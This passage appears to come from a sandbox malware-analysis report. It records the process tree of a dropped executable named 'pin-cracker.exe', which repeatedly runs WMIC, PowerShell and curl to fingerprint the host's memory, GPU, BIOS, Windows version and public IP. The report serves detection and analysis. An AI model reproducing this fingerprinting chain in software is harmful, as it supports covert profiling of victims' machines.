        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6984
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:3464
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:1400
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:7000
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:6924
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3048
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:4484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:7044
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:3284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:7016
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3224
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:3452
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6900
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:6780
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:7136
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:1216
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:4680
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6504
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6448
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:3288
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:932
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:3756
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:392
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:6452
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:7012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:4260
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:7140
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:1912
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6492
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:3164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:4956
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:2840
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:3672
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:6768
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:4116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5804
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:3776
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6312
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6172
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:7088
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:4000
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6340
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:7100
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:2932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:4880
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:7148
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:3696
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6420
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5196
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5736
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5300
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5608
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:1364
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:4624
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5356
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5832
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5656
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:2056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1388
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5296
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6604
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6552
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:3980
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:3896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:6724
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5424
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:2052
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:736
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:2708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:336
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3088
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6868
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:2940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:3596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:7092
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:7072
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6544
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:3452
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5260
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3356
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:2688
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:4460
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:3824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6468
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:1152
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6096
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6008
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6372
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:7028
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5016
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5516
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:5980
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:6364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5160
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:440
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:4860
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6348
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:1864
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:6152
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:4572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5604
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5416
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5344
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:3528
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3864
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:4664
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:3112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:6684
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3460
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:3676
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:3548
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6716
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:1880
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:1112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5084
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:6876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5252
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:4376
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:3804
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:2172
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:3284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:7036
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:7044
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6708
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:6988
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:1012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:3100
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:1072
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:1692
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:3288
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5076
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1672
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:4132
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:7032
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5936
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5624
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:1168
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:1160
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6496
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:1096
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5272
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6156
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:2804
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:1988
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6228
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:1348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:2376
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3440
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:7108
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:4152
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:7148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:4400
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5496
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5184
        
        C:\ProgramData\Epic\Launcher\pin-cracker.exe
        
        "C:\ProgramData\Epic\Launcher\pin-cracker.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\Admin\AppData\Roaming\pin-cracker" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1780 --field-trial-handle=1916,i,2564666457222993620,15694077475905385698,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6948
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5416
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5760
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:1608
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:1504
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:4088
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6684
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
